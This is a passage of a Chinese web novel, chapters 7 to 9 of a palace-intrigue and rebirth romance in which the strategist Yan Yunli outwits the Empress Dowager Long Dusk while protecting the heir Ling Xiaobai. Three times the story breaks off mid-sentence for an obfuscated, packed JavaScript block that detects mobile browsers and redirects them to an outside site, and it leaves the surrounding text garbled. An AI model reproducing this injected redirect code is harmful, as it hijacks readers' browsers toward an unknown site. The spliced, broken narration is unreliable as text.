凌宵白沉默了一阵,声音弱了下来:“先生既然如此关心洛川侯府,为何不肯跟我去洛川呢?先生想要的荣华富贵,我也可以给你。” 燕云离走到他面前,拍了拍他的肩膀:“我再说最后一次,绝不再重复了。我不想离你太近,但又不能看着你送死。所以,我只有一个目的,把你安全送出东都,然后我自己想怎样就怎样……至于名声,你既然熟读兵书,也该知道兵者诡道。” 听到“兵者诡道”四个字,凌宵白心头一热,惊喜道:“先生的意思是……” 燕云离松开手:“话不说二遍。还有,我不过比你大三岁而已,以后别说什么自小看我的书,不知道的还以为我七老八十了。” 凌宵白:“……” 这时,外面响起了敲门声。 “燕先生可是需要什么?” 燕云离瞟了凌宵白一眼,都怪他,两人动静闹得太大了,引起了外面的注意。 “哦,我没事,只是世子有些闹肚子,晚上给他送些清粥就行了,不要油腻。”燕云离抬着下巴对外面说道。 凌宵白瞪大了眼睛。 等外面人走了,燕云离道:“名声,这下扯平了。” 这算哪门子扯平,凌宵白撇了撇嘴角:“可王栋会不会迁怒于先生?” 燕云离斜眼:“放心吧,王栋想明白后不仅不会生气,反而会很开心。” 这怎么可能? 凌宵白愈发一头雾水。 燕云离道:“你等着瞧吧,王栋此刻说不定在偷笑呢。” * 王栋的确在大笑,他在太师府的书房里来回踱步之后,忽然哈哈大笑。 他这笑把台静池给看懵了。 王栋转过身,对着不明所以的台静池道:“台将军,你此刻是否十分疑惑,不知本座为何发笑?” 台静池弯腰拱手:“属下愚钝,还请太师指教。” 王栋道:“东都逸闻我也略知一二,听闻凌小世子才貌双全,深受贵妇们喜爱,被十二诸侯夫人票选为大宣最佳女婿,谁家得了这个东床快婿,还能得到洛川雄厚的家底。” 台静池微微皱着眉头,等候着他说出答案。 “何太后这老刁婆打的也是这个主意,妄想靠着洛川侯府来对付我。”王栋哼了一声,“你说,要是她知道她心目中的乘龙快婿喜欢的是个男人,她脸上的表情该有多有趣。” 台静池听明白他的意思了,他打算拿着燕云离来气何太后。 “可婚姻大事,父母之命媒妁之言,万一何太后拿长辈的身份来压世子该如何是好?枕云先生虽然名动于江湖,但仍是一介布衣,与世子地位悬殊……” 哪知王栋的眼神里露出兴奋的神情来:“这才有意思!我看那凌小世子绝不是个循规蹈矩的人,他越是叛逆,这盘棋越有趣!” 台静池有些无语,王栋入主东都后,没少干变态的事,眼下他这种兴奋的感觉,令台静池不寒而栗。 台静池小心地问:“太师,后日的宫廷晚宴,是否还如期举行?” 王栋脸上横肉堆起,皮笑肉不笑:“当然要如期举行,只是把刀斧手都撤了,换一批人来。” 台静池在王栋身边行事,已经学会了压抑心绪的变化,他面无表情地问:“换什么人来?” 王栋嘿嘿笑道:“把欧阳璇等那批风流不羁的纨绔子弟叫来,他们越是支持,那老刁婆更是会气死。” 不得不说,这条计策真的毒。 强占美人的事王栋以前尝过,远不及拔掉何太后这根心头刺有趣,若是能趁机拔掉心腹大患岂不快哉! 至于燕云离,可以等除掉何太后之后再慢慢筹谋,想必到时候燕云离对他感恩戴德,这种养成系的快乐岂不比霸王硬上弓快活多了。 王栋越想越得意,忍不住再次哈哈大笑起来。 窗外枝头上的乌鸦被他的笑声惊起,乱叫着飞入夜空中。 正在窗前看书的燕云离看着窗外月亮前飞过的乌鸦黑影,心中一惊,这可不是吉兆。 燕云离放下手中的书本,走到桌子前,对着果盘里的葡萄喊道:“小神仙,小神仙在吗!” “哔啵”一声,葡萄上升起一个巨大的气泡,随着气泡破裂,桌子上出现了一朵绯红色的祥云,那个银发蓝紫色眸子的小神仙正躺在云上。 “这么晚叫我做什么?我都快睡觉了。” 燕云离抱着双臂盯着小神仙,毫不客气道:“你还有心思睡觉,你是不是搞了什么鬼?” “什么意思?”小神仙坐了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057179|162674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是神仙,怎么会搞鬼?” 燕云离道:“按照我的计划,明明七日内就可将凌宵白送出东都,为何突然天象有异?” “哪里有异了?外面月朗星稀,不是好得很么。”小神仙抬着下巴指了指窗外。 燕云离眯着眼睛警惕地盯着他:“你别揣着明白装糊涂,方才群鸦飞过月亮,分明是不祥之兆。我只是暂时答应你保住凌宵白的命,可没让你故意把他留在我身边。” 小神仙连连摆手:“我哪有那个本事,我要有那个本事,就让我的小白留在我身边了。” “嗯?”燕云离怀疑地看着他。 小神仙抓抓头:“哦哦,我的意思是,不会的。” 燕云离凑近到他鼻子前,严厉道:“我警告你,你要是把我和凌宵白绑在一起,那我这辈子重生还有什么意义?我不如死了算了!” “别!别!”小神仙伸出手,“重生一次可不是那么容易的,要珍惜机会啊亲!” 燕云离皱眉:“我跟你不熟,别叫得那么亲热。总之,等平安送凌宵白离开东都后,答应我的东西别忘了。” “没忘,没忘!”小神仙擦汗。 * 两日后,晚宴如期在宫里举行。 按照以往的规矩,宫里举行宴会应该是宾客先到,全部落座后再请皇帝或者太后入席。王栋为了故意羞辱何太后,故意让台静池请太后先入席,自己则以检查学业为由,让少帝陪自己在御书房讨论课业。 何太后在空荡荡的宴会大厅等了半天,王栋才领着少帝姗姗来迟。 “太后见谅,”王栋嘴里这么说,脸上却一点儿歉意也没有,“陛下最近疏于功课,老夫方才与陛下谈论久了。” 何太后眼皮也没抬,嘴里冷淡道:“太师是皇帝的老师,想什么时候教学生都可以。” 她冷言冷语,意思却很明显,老师教学生也是要挑时间的,好像谁不知道你是故意的。 王栋装作没听见,自顾自走到案桌前坐下,又对少帝道:“陛下也落座吧。” 少帝哆嗦了一下,这才小心地走到位子前坐下。 何太后虽然不动声色,交叠的双手手指却陷入肉中。 这时,殿后传来吵闹的声音,随着一阵急促的脚步声,环佩争鸣,一条朱色秀影出现在堂中。 乐阳公主大吼大叫道:“这是什么规矩,为何让母后和皇上等,这些人无法无天了。” 听到“无法无天”四个字,何太后眉头再也按捺不住,喝道:“住口!乐阳,在堂上大呼小叫成何体统,还不坐下!” 乐阳公主看着何太后的眼睛,只好强压下怒气,跺了一下脚,嘟着嘴绕到自己的位置上坐下。 王栋看着对面的乐阳公主,故意问道:“听闻前日,公主擅自带人出宫,在春满楼教训东都才子,可有此事?” 乐阳公主扭头看站在一边的台静池,心道你果然是王栋的走狗,身为皇家禁卫军首领,却完全听命于王栋,这件事居然这么快就被王栋知道了! 台静池低着头,眼观鼻鼻观心,假装没看见。 王栋见乐阳公主不说话,又转头问少帝:“陛下,眼下正值朝廷用人之际,东都才子们在春满楼聚会,并无过错,公主此举可谓寒人心,陛下以为如何?” 少帝哆嗦了一下:“尚父的意见,就、就是朕的意见。” 王栋似乎并不满意他的回答,反而皱起眉头:“陛下也该有自己的意见。” 何太后听不下去了,插嘴道:“太师,乐阳年纪还小,就恕她无知吧。” 王栋扯了扯嘴角,心道,现在你还能替人说情,等会看你还淡定得起来么…… 王栋拍了拍手,台静池心领神会,立刻叫人传外面的宾客入席。 来的都是东都的贵族子弟,青年才俊,除了最末的燕云离。 乐阳公主一眼就看到了燕云离,站起来道:“平民怎可入宫?宫廷难道是什么猫狗都可以进来的吗?” 王栋道:“这位枕云先生是老夫的贵客,是江湖上久负盛名的鬼仙翁的衣钵弟子。” 7.第 7 章 “我们东都才子众多,朝堂之上什么时候沦落到要依靠江湖散人了?”何太后言语不满,头却转向欧阳璇所坐的方向。 她问的是欧阳璇,话当然是说给王栋听的。 欧阳璇起身回话:“太后,鬼仙翁不是一般的散人,而是传说中神仙般的人物,而这位枕云先生,所著《九略》早已闻名于江湖,有得《九略》得天下之称……” “哦?”何太后哼了一声,“得天下?天子在前,你们是要谋逆不成?” 王栋见话题越扯越远,咳嗽了一声:“行了,今日宴席乃是为欢迎洛川小世子与枕云先生来东都做客而设,那些没用的话就不必说了。” 他举起酒杯:“凌小世子、枕云先生,还有,欧阳公子,前日在春满楼的事能让你们受惊了,老夫代乐阳公主向诸位道歉,自罚一杯,各位随意。” 这事本来就是王栋幕后捣鼓出来的,他这会在此装好人,所有人心里都不爽,但又不敢得罪他,只好配合着端起酒杯饮酒。 唯独开心的可能只有燕云离。 上一世他鞠躬尽瘁,身为军师与众将士吃穿用度都一样,几乎没享过一天福,最后还落得个被祭天的下场,燕云离想想就觉得生气,上天既然让他重来一世,他决定好好体会这人间百味。 话说这东都的美酒是真的香,难怪三王之乱先帝失踪后,朝中政权数次更迭,谁不想做这东都的主人呢。 何太后原本只是先帝后宫一个不起眼的妃子,若不是王栋平定了前面的三王之乱,扶持了现在的少帝母子上台,帝位也轮不到他们。 何太后一开始还对王栋感恩戴德,后来发现他不过把少帝当做傀儡,俨然自己才是东都的主人,敬畏逐渐变成了憎恨,何太后只盼着有机会能收权回来。 她带着些讨好的神情看向凌宵白:“凌小世子,哀家记得你兄长比你大了两岁有余,为何还未婚配呀?” 凌宵白道:“禀太后,家兄自幼腿有顽疾,无法直立行走,家兄不愿耽误别人,所以一直未有婚配。” 何太后惊讶道:“他也拖,你也拖,凌老侯爷难道不着急?” 凌宵白直言:“急也没办法。” 何太后叹道:“那哪能没办法,自古儿女的婚姻大事,都由父母做主,老侯爷若是不急,这事谁还能替你们做主。” 凌宵白有点无语,这事他爹还真没怎么催他们,凌老侯爷除了在学业武功上对他们两兄弟异常严格外,其他方面到不会过于拘泥。 何太后现在有点皇帝不急太监急的话语,让凌宵白如芒在背,只好道:“我和哥哥也确实不急。” 王栋唯恐天下不乱,趁机道:“自古美女配英雄,凌小世子这一表人才,怎么会没有人惦记。怕不是已经有意中人了,所以才不急?” “呃……”凌宵白尬住,裂开嘴角不知说什么好,心道燕云离呢?不是说好了要帮他的吗?!人呢? 燕云离坐得离门口近,离主人位最远,正在那美滋滋地品味东都的美酒佳肴,压根没理会堂上的刀光剑影。 见凌宵白半天不答话,何太后道:“听闻小世子自幼习武,在军营长大,应该不大有机会结识姑娘吧。” 何太后没见过《东都逸闻》,还不知道关于凌宵白的绯闻轶事,她这话一出堂下的才子们一个个忍俊不禁,忍不住偷笑。 乐阳公主恼道:“母后,也不是一定要认识姑娘啊,您忘了,祖父和那位男皇后不是也在军营里认识的……” 何太后猛然想起来,那位男皇后她年轻时也是见过的,确实惊为天人,但这只是偶然的事吧,这世上哪有那么多天作之合一见钟情。 她看向凌宵白:“小世子应该不会吧?” 凌宵白不知道该怎么回答,这下彻底如坐针毡了,燕云离人呢?他忍不住伸长脖子往燕云离所坐的方向看去。 他这一看,所有人也顺着他的目光往燕云离所坐的方向看去。 燕云离只顾着品酒品美食,知道其他人看他,也目不转睛不放下筷子。 这顿饭,凌宵白吃得莫名其妙,宴席的后半段,所有人都在以一种意味深长的眼光看他,唯独燕云离始终不与他对视,搞得他不知该怎么应对何太后的各种盘问,最好只好装聋作哑,闷着头吃完了一顿饭。 * 回到驿馆,凌宵白照例跟着燕云离进了房间,然后顺手关上了门。 燕云离扶额:“你怎么还习惯了,这是我住的屋子,你住隔壁。” 凌宵白把剑放在桌子上,自己则在一旁的圆凳上坐下,还给自己倒了杯茶。 “你还喝得下?”燕云离奇怪。 凌宵白道:“一直闷头吃,有点腻。” 燕云离差点笑出来:“我这有些茶叶,叫人烧壶热水来,给你泡杯浓茶解解腻。” “不用了。”凌宵白拦住他,“我就问先生一件事,今日在宫里先生为何一言不发?我一直怕说错话,只好埋头吃饭。” 燕云道笑:“世子表现得很好。” “表现得好?我什么也没做啊。”凌宵白瞪眼。 “谁说你什么都没做了,你的表现太后、王栋都看在眼里,放心吧,已经达到我们要的目的了。” “什么目的?” 凌宵白还想再问,这时候门外响起了敲门声。 他打开门,外面站着的正是那个驿馆下人。 那人见是凌宵白开的门,先是吃了一惊,然后又强压住嘴角。 燕云离走过来:“何事?” “哦,燕先生,香倚阁的人送东西来了,说是您订的衣服已经改好了。” 燕云离眼睛一亮:“快进来吧。” 凌宵白侧身让开道,那人端着一只大礼盒走到屋子中间,放在桌子上。 燕云离打开盒子,里面整齐叠放着那件蓝色的古董礼服,已经按照他的要求缝上了羽毛和金线,基本上已经复原了这件礼服的原貌。那把白羽珊瑚团扇也用上好的丝绸包裹着,放在一旁。 燕云离满意地点点头:“手工倒还不错。” 凌宵白往里瞟了一眼,就这两样东西花掉了三千两银子,回去还不知道怎么跟父亲报账。 燕云离抬起下巴吩咐下人:“去烧些热水,我要沐浴更衣。” “是。”下人转头出去了。 燕云离又对凌宵白道:“世子还在这,是打算看离洗澡?” “……” 凌宵白头也不回地转身出去了。 “哈哈!”燕云离自己开心地笑了几声,拿出衣服来左右看看,煞是满意。 东都处于北地,尽管已进入春天,到了夜晚依旧寒冷,此时泡在盛满热水的浴桶里,是人间一大享受。 水气氤氲中,燕云离放松地靠在浴桶边上,闭着双眼,不一会儿便做起了梦。 “妖相祸国,业遭天谴,焚其祀神,以息上怒。” 在一片雄壮而压抑的低吼讨伐声中,赤膊威武的四名刽子手将燕云离高举过头顶,在下面千军万马众目睽睽中登上了祭天台。 “我要见陛下!我要见陛下!”燕云离大喊,可无论他怎么蹬脚,也摆脱不了刽子手们的力大无穷的束缚。 “别痴心妄想了,陛下不会见你的,今天就是你的忌日。”燕云离的耳边忽然响起一个忽远忽近缥缈的声音。 “谁?是谁在说话!”燕云离用力抬起脖子,找不到说话的人,却看见身下沸腾的大鼎。 熊熊大火的焚烧下,青铜大鼎里的油不断冒着气泡。 人若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062678|162674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是掉下去,只怕瞬间皮肉脱骨,灰飞烟灭。 这会不会很疼啊,燕云离想,可这一想,心却更疼了。 皮肉之痛也抵不过心痛吧。 相伴十三年,大渊朝开国不到一年,难道就要鸟尽弓藏,置过去同生共死的人于不顾?那些曾经发过的誓,说好的同生共死呢…… “丞相!丞相!丞相是冤枉的!”有人哭喊着往祭天台上冲来。 燕云离挺起脖子一看,是他的书童子檀,从他在枕云居起就跟随着他的侍从,见证了他和凌宵白南征北战的过程。连子檀都知道他是冤枉的,为什么凌宵白会不知道? 不甘啊!他燕云离一生操纵天下棋局,大业刚成,却要死得不明不白。 他不怕死,却怎能接受这样赴死! 真的不甘啊!!! 台下响起了兵器相撞的声音,似乎是子檀舞着剑要冲上来。 可一个小小的子檀如何是众多卫兵的对手。 “子檀!回去!不要白白送死,回去!” 燕云离急得大喊。 他这一喊,瞬间把自己喊醒了过来。 他满头大汗地坐在浴桶里,耳边竟然真的有兵器相撞的声音。 燕云离抬起眼睛,屋子里凌宵白在与一名蒙面黑衣人交战。 屋子里空间狭小,凌宵白挥舞着宝剑却翩若游龙, 数十招过去,黑衣人明显不敌,慌乱中开始寻找逃跑的出口。 窗子是半掩着的,窗棱上还有脚印,这黑衣人明显是从窗户潜进来的,问题是……凌宵白是怎么知道有人侵入的? 黑衣人虚晃一招,忽然朝燕云离的方向射出几枚飞镖,凌宵白下意识地朝这边飞来,用宝剑挡住了飞镖。 与此同时,黑衣人从窗户一跃出去,隐入窗外的夜色中。 凌宵白正要去追,被燕云离叫住了。 “别去了,让他回去报信,正合我意。” 凌宵白回过头:“先生知道他是谁?” 燕云离从水中伸出手臂,扶住桶沿:“想也知道是长乐宫派来的。今日宴毕,太后必然会知道东都逸闻的事,也必然难以接受,想必是派人来查探一番,我们不是正好给了她想要的答案么。” “什么答案?”凌宵白转过身来。 燕云离看着凌宵白的脸,忽然想起自己梦中的上一世,无名之火升起,一抬手将水花往凌宵白身上拍去。 凌宵白到底是练武的人,反应敏捷,他往后一退,手臂挡住脸,但水花还是溅在了他胳膊上。 凌宵白瞪大了眼睛,看着自己袖子上的水渍:“先生这是做什么?为何对我动手?” “你……”燕云离没办法说上一世被你害死了,他咬了咬牙,“看见你就烦!” 凌宵白沉默片刻,转身欲走。 燕云离叫住了他:“你怎么进来的?” “方才听见你这边有动静,知道你在泡澡,不可能有开窗的动作,料想是有人潜入了,便过来看看,哪知……” 后面的话凌宵白没说出口,他进来时,燕云离正泡在浴桶里,半裸着肩膀,白玉般的皮肤上微微冒着热气,那黑衣人正站在浴桶前,似乎正在打量他。 凌宵白顿时心头升起怒火,拔剑就与黑衣人交起手来,也忘了问人来历,只把人当登徒子了。 燕云离想起上一世凌宵白也是这般细心的人,无论他们安营扎寨在何处,只要燕云离遇到危险,第一个出现的人都是凌宵白…… 燕云离心乱如麻,算了算了,这一世还是少与凌宵白打交道,赶紧解决眼前的事,把他安全送出东都拉倒。 他一边想一边站了起来,手扶着桶臂,正要去拿旁边擦身的布巾,忽然眼角瞥见凌宵白站在那里,满脸通红。 8.第 8 章 燕云离虽然瘦,却浑身紧致,线条流畅起伏,白玉般光滑的肌肤在水气的蒸晕下散发着粉红色的光,两点红色茱萸如梅花落雪…… 凌宵白看得喉头一紧,身体也忘了行动。 燕云离的眼睛本就深邃明媚,长而密的睫毛此时挂着雾气,他瞪大了眼睛,凌宵白这是怎么回事?没见过男人身体么!他可是在军营里长大的! 燕云离倏地抽起旁边架子上挂着的布巾,披在自己身上。 凌宵白猛然警醒,剑眉一簇,低头道:“我先走了。” 他掉转头冲了出去,还不忘在外面反手关上了门。 燕云离又好气又好笑,上一世两人彻夜讨论军情,时常促膝交谈同榻而眠也没发生什么事,这一世他倒害起羞来了。 这一夜,凌宵白也没睡好,时醒时梦。 梦里他好像在找一个人,他在漆黑的空间里一直喊着:“丞相、丞相……” 终于在前面看到了一个光风霁月的华丽身影,转过头来,梦境却消失了。 凌宵白醒来时,竟然已经是临近中午,楼下街道不远处食肆的酒菜香味飘到凌宵白的鼻子里。 他猛然跳了起来。 燕云离不在隔壁,床上被子叠得整整齐齐,床铺也是冰冷的,看来人早就出去了。 外面走廊打扫的下人走过,凌宵白赶忙叫住了那人。 “枕云先生呢?” 下人道:“燕先生啊,哦,宫里一早来人传唤,说是请燕先生入宫一趟。” 凌宵白心头一紧,抓住下人的衣服:“什么人来传唤的?长乐宫?” 下人被吓了一跳,吞吞吐吐道:“小、小的不知……就是宫里的公公。” 凌宵白松开手,思忖片刻,抓着宝剑冲下楼去。 他迎面正撞上了台静池。 台静池道:“正值午膳时间,小世子这是要去哪里呀?” 凌宵白急道:“枕云先生被长乐宫请走了。” “什么意思?”台静池一愣,他是皇城禁卫军的首领,宫里的一举一动都在他的监视下,这件事他居然不知道,这让台静池也有些意外。 “字面意思。”凌宵白不想跟他解释,转身就要走。 台静池一把拉住他:“小世子别急,难道你打算就这样闯进去?” 凌宵白回头看了他一眼:“公主对枕云先生有敌意,台将军上次在春满楼也看到了。昨日宴会过后,我担心太后也……” 台静池看着他:“就算是,世子又当如何?她们是主子,是太后与公主,枕云先生不过一介平民,就算要他死,又如何?世子难道要为了他与太后为敌?” 凌宵白的眼神变得幽暗,沉声道:“枕云先生是我看着来东都的,看着他平安回去我责无旁贷。” 台静池愣了一下,随即轻笑:“说不定枕云先生自己不愿意回去呢,我看他挺喜欢留在东都的。” 凌宵白咬牙道:“那我也要确保他平安。” 台静池见他心意已决,怕他惹出事来,便道:“这样吧,我陪世子去,这样入宫也方便。” 两人骑马在街道上疾驰,台静池眼瞧着凌宵白少年英姿、意气风发,两人同为武将,凌宵白却显得获得恣意许多,台静池不由心生羡慕之情来。 “等会入了宫,世子就以请安为名去长乐宫,我这边则去请陛下过来,有陛下在,顺理成章不能让太后和公主乱来。”台静池道。 凌宵白瞟了他一眼,少帝这个傀儡,身负皇权,确实好用。 凌宵白进了宫,与台静池分头行动,他在宫人的带领下往长乐宫走。 今日宫里显得格外安静,厚厚的云层压得宫墙里透不过气来。 走过一座石桥,凌宵白忽然瞧见不远处两个侍从拖着一床草席往花园里走。 那草席卷成一团,一截青色的布从头上的孔里露出来,青布在地上被拖行,沾了不少泥土。 凌宵白心里一惊,走过去拦住那两人。 “站住。” 那两人吓了一跳,扭头看领着凌宵白的公公。 公公对凌宵白谄笑道:“世子,不过是死了个宫里的下人,别脏了世子的眼。” 凌宵白皱起眉头,指着那草席道:“打开来我看看。” “啊?这、这有什么好看的……”公公吓了一跳。 “什么时候死的,为什么死?”凌宵白问。 抱着草席一头的侍从被他瞪着,吓得低头回话:“是刚来不久的宫人,还没学会规矩就偷东西,被、被杖毙了……” 凌宵白的眉头皱得更深了:“立刻打开。” “啊?”两个宫人面面相觑,求助地看向领着凌宵白的公公。 公公小心道:“世、世子真要看?” “别废话了,快打开!”凌宵白只差亲自去揭开了,他看着那截青衫,心脏砰砰直跳。 “是……打开,给世子看看吧。”公公指挥道。 那两名宫人放下草席,一人伸出手揭开了一角…… * 挽芳庭在后花园中一角,离皇后居住的宫殿颇近,满庭芳草,假山凉亭,风景秀丽。 何太后过去没有地位没住过这,一朝狗屎运降临莫名其妙成了太后,她便搬到了挽芳庭居住。 既可以欣赏到后宫最美的风景,也可以避开那腥风血雨的皇后寝宫。 传说三王之乱时,这后宫里惨遭奸杀掳掠,哀嚎遍野,何太后虽然没有亲眼见过,但听到了不少传说,到了晚上这后宫里阴风阵阵,她睡得也不安宁。 宴会后,何太后听乐阳公主说了一遍东都逸闻里流传的绯闻,对凌宵白的“古怪”行为也明白过来,感情他也跟先帝一样,不爱江山爱美人,放着驸马不做偏要宠爱男色。 不过,这事可不能由着小辈来。 何太后现在能想到的,最可用的势力便是洛川,先帝的那句话即便是玩笑也是圣旨。至于男人的心思么,都是喜新厌旧的,只要没了燕云离这个人,相信凌宵白很快就能开始新生活。 何太后想着,看了一眼她的心腹胡公公。 “都准备好了?” “禀太后,都准备好了。”胡公公手里的托盘上装着一瓶酒壶,翠绿的颜色散发着冰冷死亡的气息,“当真要用吗?” 何太后哼了一声:“昨夜行刺不成,只能把他叫来了。我就不信王栋还能因为一个平民跟我闹翻不成。” “是。”胡公公不敢再多说,低头站到一边。 这时,又有人来禀告:“启禀太后,燕云离已经带到,此时就在挽芳庭里候着。” “好!”何太后眉间露出喜色,“拿去给他喝。” 过了约莫一盏茶的功夫,胡公公回来了。 “他喝了吗?”何太后急切地问。 “喝了。”胡公公点头,“只是……” “只是什么?”何太后焦急地问,这酒里放了太医给她的鹤顶红,说是只需一滴便是神仙也救不回来,何太后叫人放了三滴。 “哎呀,做什么吞吞吐吐的,之前又不是没用过……”何太后说漏了嘴,赶紧闭紧嘴巴。 胡公公额头上渗出汗来,沉声道:“太后还是去挽芳庭看看吧。” 何太后皱眉:“做什么这么奇怪……” 挽芳庭里也有棵巨大的合欢树,此时花开正好,满树粉红色花蕊随风飘落,在庭院里散开一层绯色的雾。 胡公公远远指着树下的石凳道:“就在那边。” 何太后皱着眉头往庭院里走去。 漫天飘落的粉色花雨下,站着一条颀长隽秀的人影,浅蓝色华服上缀着羽毛和金线,隆重而轻盈,白玉般的手执着一把白羽珊瑚团扇轻轻摇摆。 人影缓缓转过身,长而密的羽睫下深邃的眼眸朝这边看过来…… “啊!司、司凤先皇后——”何太后吓得惨叫了一声,跌倒在地。 * 一辆不大的小马车行驶在出宫的官道上。 这是台静池事先准备的,凌宵白和燕云离就坐在这辆马车上,不急不慢地出了宫。 一路上凌宵白抱着双臂,紧闭双眼,一脸严肃,好像经历了很大的事情。 燕云离也没惯着他,一路上摇着扇子,一直到了街道上某处,他忽然喊停了车夫。 “在这停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凌宵白心里冒出这句。 然后他就不想说话了,一路上生气燕云离进宫也不告诉他,遇到危险怎么办! 白羽团扇在凌宵白眼前晃了晃,那张美得惊人的脸凑近到他面前:“别发呆了,就是世子买的这件礼服和团扇呀,这可是无价之宝。” 凌宵白回过神来,轻咳了一声:“你哪来的银子买这件店铺?你连买件新衣服的钱都没有。” 燕云离哈哈一笑:“世子以为就你一个二股东呢,替我办铺子买卖手续的台将军是三股东,盘下铺子的转让费和手续费是问他还有欧阳公子、以及东都的几位贵公子借的,他们都算股东。” 凌宵白愣了一下:“敢情你分文未出,反而是这间铺子的大掌柜?” 燕云离大笑了三声,手背在身后,在店铺中得意地踱着步子:“以后进货是我,经营是我,怎么算分文未出呢,等你们收到红利的时候,就知道这笔投资不亏。” 凌宵白挑了挑眉,挺直背板:“到时候再说吧。” 燕云离走到他面前,拍了拍他的肩膀,在他耳边低声道:“世子放心,如果我预料没错的话,世子三天之内就可以平安离开东都了。” 凌宵白瞪大了眼睛看着他。 * 果然,第二天宫里就传出消息,何太后收到惊吓,摔断了筋骨,需卧床休息三个月,不再见外人了,意思也就是她不再理会凌宵白的事了。 台静池把这件事禀告王栋后,王栋哈哈大笑,摸着胡子不住赞叹:“这个燕云离,真是个有趣的人。” 台静池又把燕云离筹备开店的事禀告了王栋,说新店铺已经在装潢中,打算月底挑个日子开张。 王栋不住点头:“妙!妙!” 台静池又问:“那凌小世子那边……” 王栋摆了摆手:“玩够了就让他回去吧,反正也没他的事了。” “是。”台静池抱着拳若有所思地退出去了。 台静池到了驿馆,把消息告诉凌宵白。 “世子在东都玩够了就可以随意离开了。”台静池道。 凌宵白看向另一边的燕云离,心道他哪里是来东都玩的,他来的目的可是为了带走枕云先生的! 9.第 9 章 “不是,我虽然是神仙,但也不是万能的啊。”小神仙听到燕云离的要求后,差点从绯红祥云上掉下来。 燕云离摇头:“北地的参芝、西山的美玉、南岛的珍珠、东海的黄金,四方宝物八荒奇珍,这些东西难道对你这个小神仙来说很难吗?” 小神仙满头冒汗:“你干脆让我把财神的宝库送给你得了。” 燕云离摇着扇子:“那倒不必,我等凡人也消受不起,你只要安排人手定时给我送货,保证不受战乱、天气、人祸等各种因素的烦扰就行。” “保证不了!保证不了!”小神仙拼命摇头,“我上哪给你找这些帮手送货?我自己现在还在各个碎片世界里漂泊,回不了家呢。” “嗯?”燕云离审视的目光飘过来。 小神仙心知说漏了嘴,赶紧捂住嘴巴,心道差点泄露天机。 “别忘了,你答应过我,只要保住凌宵白的命,就答应给我的铺子提供货源,无论什么,你都能做到!”燕云离凑近来,一双深邃的眸子带着威胁的神情看着小神仙,“你可是小神仙,若是说话不算数,我就将你的行为告而告之,让你断了香火。” “好毒!好毒!”小神仙连连嘶声。 燕云离看着他:“所以呢?” “总之,最多、最多,我给你安排货源,但是不保证数量。”小神仙跟他打商量。 燕云离眨了眨眼睛:“数量上可以浮动,反正我这里有各种绝世设计图,只要有原材料,就能让工匠做出精美的东西来,但必须准时送货。” 小神仙道:“都说盛世古董,乱世黄金,这里马上就快要打仗了,你还做这些精品做什么?” 燕云离道:“正是因为快要打仗了,这东都虽然几经易主,却是唯一没有被战火损坏的地方,而且这里王孙贵族多,肯定会将手中的银票兑换成金银美玉等保值的东西,我这里的精品进可佩戴,退可保值,一定会很抢手,你就等着看吧。” 小神仙抓了抓头:“你确定不跟凌宵白回洛川?” 燕云离眼神犀利:“去掉那个回字,什么叫回?洛川跟我八竿子打不着,你忘了我上辈子怎么死的了?” 小神仙耸眉,伸出手指挠了挠下巴,欲言又止。 一连几日,燕云离都在店里忙碌,香倚阁经过他的一番改造,变成了只出售精品的枕云居。 王栋不知何故,这几日也没来骚扰他,燕云离正好落得高兴。 晚上,忙了一天的燕云离在屋子里美滋滋地泡澡,凌宵白又过来串门了。 “我没关门?”燕云离只顾着叫下人添热水加花瓣,貌似好像确实忘了从里面锁上门。 燕云离垂下眉毛,单手扶额道:“世子真会挑时候。” 凌宵白这回似乎是真的不知道燕云离在里面泡澡,他一进门,看到里面水汽氤氲,一绝世美人坐在飘浮着花瓣的浴桶中,若隐若现。 凌宵白顿时愣住,站在门口迟迟不知道该进还是该退。 燕云离见他急匆匆进来,又愣在门口,一张俊脸上又急又窘,不由好笑。 “进来吧,把门关上。你站在那门口,风吹进来我还怪冷的。”燕云离道。 “啊,不好意思。”凌宵白愣了一下,随即转身掩上门,往前挪了几步,但眼睛还是不敢看燕云离。 此时的凌霄白也觉得自己有点奇怪,他自小在军营里长大,汉子们赤膊相对是常有的事,他从来也没觉得尴尬,可但不知为何在燕云离身边莫名其妙害起羞来。 燕云离对他的态度也十分奇怪,好像很讨厌他,但关键时刻又总维护他,这让凌宵白摸不准燕云离到底是何意。 他尊父命请枕云先生出山做军师,没想到自己跟着人来了东都,人要是没请到,岂不是完不成任务?凌宵白还没有空手而归的经验。 室内弥漫着一股花瓣的香味,沁人心脾,凌宵白眼角的余光无意中瞥到衣架上挂着雪白的长衫,那应该是燕云离贴身的内衬,难道香味是衣服上的…… 啊喂喂喂!我想到哪里去了!!! 凌宵白顿时面红耳赤! 燕云离见他进来后就面壁站着,身子虽然岿然不动但表情好像有千言万语,但等了半天也没等到他开口。 燕云离揉了揉额角:“世子,到底出了什么事,不妨直说。” 